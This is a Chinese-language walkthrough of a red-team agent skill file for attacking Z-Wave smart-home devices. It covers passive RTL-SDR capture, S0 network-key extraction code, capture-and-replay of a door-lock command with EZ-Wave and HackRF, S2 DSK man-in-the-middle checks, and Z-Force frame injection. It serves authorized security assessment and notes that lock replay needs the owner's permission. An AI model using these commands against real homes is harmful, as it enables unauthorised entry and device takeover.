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本技能文档位于仓库 packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md，是 Decepticon 红队技能库中面向智能家居无线链路的完整操作手册。它覆盖 Z-Wave 协议两大安全类别的攻防全流程：S0（2009）网络密钥明文传输缺陷的被动提取、S2（2017）ECDH + DSK 引导流程的中间人分析，以及针对未认证节点的射频重放。读完本文，你将掌握从 RTL-SDR 被动捕获、S0 密钥 XOR 还原、EZ-Wave/HackRF 重放到 Z-Force 主动注入的完整实战链路，并了解 Decepticon 中该技能如何被 Agent 按需加载、如何将发现固化为知识图谱节点与本地证据。

技能定位：何时启用 Z-Wave 专项

该技能的前置元数据（frontmatter）定义了它的触发边界与归属，这与 Decepticon 的 SKILL.md 规范 完全一致：每个技能必须声明name、description、metadata.subdomain与metadata.when_to_use触发词。

name: z-wave description: Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands. allowed-tools: Bash Read Write metadata: subdomain: iot when_to_use: Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key tags: z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz mitre_attack: T1040, T1557, T1190, T1078

从这些字段可以读出技能的适用范围：

• 触发词覆盖完整的攻击场景：Z-Wave、S0、S2、ECDH、DSK、EZ-Wave、Z-Force、replay、unauthenticated、smart home、RTL-SDR、scapy-radio、Z-Wave network key以及两个频段关键词868 MHz、908 MHz。当任务描述命中这些词时，Decepticon 的 Agent 会通过load_skill()按需加载该技能（详见下文"在 Decepticon 中的调度链路"一节）。
• 归属 iot 子域：subdomain: iot是合法取值，见 skill_audit/subdomains.yaml 中的域类别清单；技能树索引页 skills/standard/iot/SKILL.md 也将其登记为"S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes"。
• MITRE ATT&CK 映射：frontmatter 声明了T1040、T1557、T1190、T1078四个技术 ID，分别与本文各阶段的嗅探捕获、中间人、面向网络设备的利用与有效凭据滥用相对应；tags中还保留了868mhz等检索标签，方便按频段检索。

协议背景：为什么 Z-Wave 值得单独评估

Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.

Z-Wave 是智能家居领域占有率最高的专有射频协议，门锁、恒温器、传感器等设备广泛采用。它的两个安全代际各有结构性弱点：

• S0（2009）：入网（inclusion）过程中网络密钥以明文形式在射频链路上传输，攻击者只需在入网瞬间被动监听即可还原整个网络的通信密钥——这是协议级别的设计缺陷，与设备固件无关。
• S2（2017）：改用 ECDH 密钥交换，但引入了 DSK（设备专属密钥，通常是印在设备标签上的 16 位 PIN）引导步骤。如果控制器 UI 不强制用户核对 DSK，攻击者就可以在入网过程中实施中间人替换。

因此，本技能的价值在于：无论目标设备是旧款 S0 还是新款 S2，只要存在配置不当或协议缺陷，都可以通过"被动捕获 → 密钥推导 → 重放/注入"的链路形成完整攻击面评估。

前置条件：硬件与软件栈

硬件清单

软件清单

• gr-zwave：GNU Radio 的 Z-Wave OOK 解码器（来自 scapy-radio 项目，BastilleResearch 维护，包含 Z-Wave 模块）。
• EZ-Wave：基于 USB Z-Wave 控制器的嗅探/重放工具，支持sniff、capture、replay三种工作模式。
• Z-Force / Zniffer：Silabs 的 Z-Wave 抓包与注入工具链（PC_Host_SW_Bundle 中的 Zniffer 二进制，可在 Windows VM 或 Wine 中运行）。
• Scapy + Z-Wave 层：用于从 pcap 中解析 Z-Wave 帧结构。

安装方式（按原文档整理，以 Kali 为基准环境）：

# gr-zwave / scapy-radio：克隆上游仓库后按 README 构建（Z-Wave OOK 解码模块） git clone <scapy-radio 仓库> # EZ-Wave：克隆上游仓库并安装串口与消息总线依赖 git clone <EZ-Wave 仓库> pip install pyserial pyzmq # Z-Force（Silabs）：从 PC_Host_SW_Bundle 下载 Zniffer 二进制，在 Windows VM 或 Wine 中运行

注意：RTL-SDR 与 HackRF 属于射频硬件，需要直通（passthrough）到 Decepticon 的沙箱环境才能被 Agent 调用；纯固件静态分析则不需要硬件。这一前提在 iot_operator.py 的模块注释中有明确说明。

Z-Wave 频率参考

不同区域的 Z-Wave 主频与回退频段不同，开工前必须把 SDR 调到目标设备所在区域的正确频率：

后续所有命令中的-f/--freq参数都应按此表选择：EU 场景用868.42e6，US 场景用908.42e6。

Phase 1：RTL-SDR + gr-zwave 被动捕获

被动捕获是整条攻击链的起点，目标是在**入网事件（inclusion）**发生时抓取射频流量——S0 的明文密钥传输就发生在这个瞬间。两种方式任选其一：

方式一：GNU Radio Companion 实时解调

# 使用 gr-zwave 自带的示例流图 zwave_rx.grc # 采样率设为 2 MHz，中心频率设为 908.42e6（US）或 868.42e6（EU） gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

方式二：先存 IQ 再离线解码

# 1. 用 rtl_sdr 抓原始 IQ 数据（2 MHz 采样率、40 dB 增益） rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq # 2. 交给 gr-zwave 的离线解码器 python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq

实操要点：捕获时机决定成败。只有当新设备加入控制器（inclusion）时，S0 密钥传输才会以明文形式出现在链路上；日常流量中即使抓到加密帧也无法直接推导密钥。因此建议在目标家庭网络中触发一次设备重新入网，或等待用户添加新设备时持续监听。

从攻击战术的角度看，本阶段对应 frontmatter 中的T1040（网络嗅探）。RTL-SDR 是纯接收设备，捕获阶段零射频发射，天然隐蔽。

Phase 2：S0 密钥提取（入网瞬间的明文密钥还原）

攻击原理

S0 的入网序列存在致命缺陷：

1. 控制器发送NETWORK_KEY_SET命令，其中携带 16 字节网络密钥，且密钥与 Z-Wave 默认密钥0x00×16做XOR 运算"加密"；
2. 节点以NETWORK_KEY_VERIFY确认收到。

由于默认密钥是全零，XOR 结果就是密钥本身——所谓"加密"等价于明文传输，还原过程可退化为恒等运算：

DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key def extract_s0_key(key_set_payload: bytes) -> bytes: """ key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06). """ return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY)) # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.

代码中的注释还给出了一条重要的实战修正：实际抓包中，S0 KEY_SET 中的"加密密钥"是在临时密钥（由控制器 nonce 与节点 nonce 推导）下传输的，因此必须同时捕获两个 nonce 才能完成真正的推导。也就是说，纯理论上的"全零密钥 XOR"给出了攻击思路，工程实现上还要结合 nonce 交换过程还原临时密钥。

用 EZ-Wave 嗅探入网流量

# EZ-Wave 嗅探模式（需要 Aeotec Z-Stick 或 UZB 控制器） python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt

抓到的流量可配合 Scapy 的 Z-Wave 层解析帧结构，提取NETWORK_KEY_SET的命令体。

Phase 3：未认证节点的重放攻击（No-Security / 已提取 S0 密钥）

许多旧款设备以**无安全等级（no security class）**加入网络，这类节点会无条件接受寻址到其 NodeID 的任何射频帧——无需解密，直接重放即可触发动作。这对应 frontmatter 中的T1078（有效凭据/合法指令的滥用思路）。

EZ-Wave 重放门锁指令：

# 1. 录制一条合法指令（例如门锁 LOCK 命令） python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin # 2. 原样重放该帧——即可触发开锁 python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin

HackRF + GNU Radio 原始 OOK 重放（不依赖 Z-Wave 控制器硬件）：

# 1. 捕获目标帧的原始 IQ hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40 # 2. 在同频点上重放 hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47

两条路径的取舍：EZ-Wave 走的是 USB 控制器协议栈，帧格式由工具保证；HackRF 走的是物理层 OOK 信号重放，更接近射频本质，但也更容易被 Z-Wave 嗅探器/IDS 察觉（见下文 OPSEC）。

Phase 4：S2 DSK MITM 分析

S2 入网使用 ECDH（Curve25519），DSK（设备专属密钥，即设备标签上的 16 位 PIN）用于引导 ECDH 交换。攻击向量有两个：

1. DSK 未被验证时的 MITM：如果控制器软件自动接受 DSK、不弹窗要求用户核对，伪装的节点就可以在入网时替换自己的公钥，从而完成中间人。
2. 物理接触导致的 DSK 泄露：DSK 印在设备标签或二维码上。攻击者若曾在供应链或零售环节接触过设备，可提前记录 DSK，之后用自己的控制器完成入网，实现设备接管。

原文档给出了交叉校验公钥与 DSK 的判定逻辑：S2 公钥（32 字节）的前 2 字节与 DSK 前 2 字节（大端序）一致；若控制器"自动放行"，说明它只核对了前 2 字节而放过了其余 14 字节。

# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange: # Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT. # Extract the node's public key (32 bytes) from the Z-Wave Application # Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT". # Cross-check with the DSK: # First 2 bytes of the public key == first 2 bytes of the DSK (big-endian). # If auto-granted, the controller accepted without verifying remaining 14 bytes. def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool: pk_bytes = bytes.fromhex(public_key_hex) dsk_bytes = bytes.fromhex(dsk_pin.replace("-", "")) return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]

注意dsk_pin.replace("-", "")：设备标签上的 DSK 通常带连字符分段显示，解析前需先去除。该阶段整体对应 frontmatter 中的T1557（中间人攻击）。

Phase 5：Z-Force 主动模糊测试

Z-Force（安全研究者对 Silabs PC Zniffer 的扩展）允许通过 USB Z-Wave 控制器注入任意 Z-Wave 帧，是链路中唯一的"主动模糊测试"手段，对应T1190思路下对设备协议的主动探测：

# 向 NodeID 5 注入原始帧：命令类 0x25（Binary Switch），命令 0x01，载荷 0xFF（Switch ON） zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # 枚举射频范围内的所有节点（广播 NodeID 0xFF） zforce scan --freq 908420000 # 重放一条捕获的 BASIC_SET 帧 zforce replay --file /tmp/basic_set.zwave --node 5

典型用途：向二进制开关类设备（0x25）注入未预期的载荷组合，观察设备是否出现异常状态、固件崩溃或旁路逻辑——为后续漏洞利用铺路。

证据固化：本地证据与知识图谱节点

Decepticon 强调"评估过程可审计、发现可追溯"，本技能在 Evidence 一节给出了两条固化路径。

路径一：本地证据落盘 + 哈希校验

EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" cp /tmp/zwave_capture.iq "$EVIDENCE/" cp /tmp/ezwave_sniff.txt "$EVIDENCE/" sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"

原始 IQ、嗅探日志与 sha256 清单一起归档到evidence/z-wave/时间戳目录。这与仓库中 local-evidence-contract.md 定义的证据契约一致：证据应落在evidence/树内，目录采用带时间戳的独立命名，并由校验和保证完整性。

路径二：写入 engagement 知识图谱

kg_add_node( kind="finding", label=f"Z-Wave S0 network key extracted NodeID={node_id}", props={ "key": f"z-wave::s0::{home_id}", "home_id": home_id, "node_id": node_id, "s0_network_key_hex": s0_key.hex(), "security_class": "S0", "frequency_mhz": 908.42, "source": "gr-zwave+ezwave", }, )

kg_add_node是 Decepticon 提供的知识图谱工具，其实现在 tools/research/tools.py：它支持host、vulnerability、cve、finding、credential等节点类型，并要求在props中提供确定性key用于去重（这里用z-wave::s0::{home_id}保证同一网络只产生一个节点），其余字段（s0_network_key_hex、frequency_mhz、source等）作为属性持久化，跨 Agent 迭代可被后续查询与攻击链规划复用。工具文档还提示：观察到的资产、漏洞、凭据都应及时写图，图谱在 Ralph 迭代间持久存在，本次新增的节点下一次新上下文 Agent 即可查询。

OPSEC 注意事项

原文档给出的操作安全要点，每条都直接影响任务成败与合规边界：

• HomeID 全帧广播：Z-Wave HomeID（32 位）在每一帧中都以明文广播，抓到任意一帧即可确定网络身份。这意味着被动阶段就足以完成网络指纹识别。
• 门锁重放是物理安全事件：重放门锁指令会直接造成物理层面影响，只能在业主授权且具备书面回退预案（例如备用进门方式）的前提下执行。
• RTL-SDR 零发射：纯被动捕获阶段没有任何射频发射，隐蔽性最高。
• HackRF 重放可被检测：如果目标环境部署了 Z-Wave 嗅探器或 IDS（如 Silabs Zniffer），重放行为会被发现；但绝大多数消费级智能家居环境没有此类监控。
• S2 强安全类不可攻破：采用ACCESS或AUTHENTICATED安全类且强制人工 DSK 校验的 S2 网络，对本技能描述的全部 MITM 手法免疫，应在评估报告中标记为"已加固（hardened）"。

这最后一条也划定了本技能的适用边界：评估结论不一定是"可攻破"，也可能是"已加固"——文档明确要求把免疫场景记录为硬化结果，避免误报。

在 Decepticon 中的调度链路

该技能不是孤立文档，它在 Decepticon 中有完整的运行时接入路径：

1. 技能索引：skills/standard/iot/SKILL.md 将 Z-Wave 技能登记在 IoT 技能目录中，说明其适用场景是"S0 密钥推导缺陷、S2 ECDH 分析、未认证节点重放"。
2. Agent 装载：agents/standard/iot_operator.py 中的_SKILL_SOURCES = ["/skills/standard/iot/", "/skills/shared/"]将整个 IoT 技能树挂载给 IotOperator 子代理；SUBAGENT_SPEC（同文件 L126-L140）的描述中明确列出"Z-Wave"作为该子代理的技能面，当任务范围包含 IoT/嵌入式硬件射频（BLE GATT、Zigbee Touchlink、Z-Wave、sub-GHz、LoRaWAN）时，OPPLAN 会路由到该子代理。
3. 按需加载：middleware/skills.py 实现 SkillsMiddleware，Agent 在目标命中when_to_use触发词时，通过load_skill()加载完整的 SKILL.md 再执行技术动作，而不是从记忆里凭空操作。
4. 图与证据闭环：kg_add_node将发现写入 engagement 知识图谱（tools/research/tools.py），本地证据按 local-evidence-contract.md 落盘，形成"执行 → 证据 → 图谱 → 链规划"的闭环。

参考与延伸阅读

原文档列出的参考来源整理如下（均为项目背景资料，不在此展开外部链接）：

• EZ-Wave：AFcruzBR 维护的 Z-Wave 嗅探/重放工具集，本文 Phase 2/3 的核心工具。
• gr-zwave / scapy-radio：BastilleResearch 维护的 GNU Radio Z-Wave OOK 解码模块，Phase 1 的解调核心。
• "Z-Wave Reverse Engineering"（Crowley & Heeger, DEF CON 21）：Z-Wave 逆向工程的经典公开研究，频率与协议细节的原始来源。
• Silabs Z-Wave PC Zniffer：Silabs 官方 Z-Wave 抓包工具（PC_Host_SW_Bundle），Z-Force 的基座。
• Z-Wave Alliance 安全类规范 SDS13784（Security 2 spec）：S2 安全类的协议规范依据，对应本文 Phase 4 的SECURITY_2_PUBLIC_KEY_REPORT等表项出处。

仓库内可继续深入的相关材料：同属 IoT 无线侧带的其他技能 zigbee-touchlink/SKILL.md（Touchlink 滥用）、sub-ghz/SKILL.md（433/868/915 MHz 捕获重放），以及 docs/red-team/ai-red-teaming.md 等红队方法论文档。若要为 Decepticon 新增同类技能，请参照 skill-schema.md 的 frontmatter 与校验规则，并运行make audit-skills完成审计。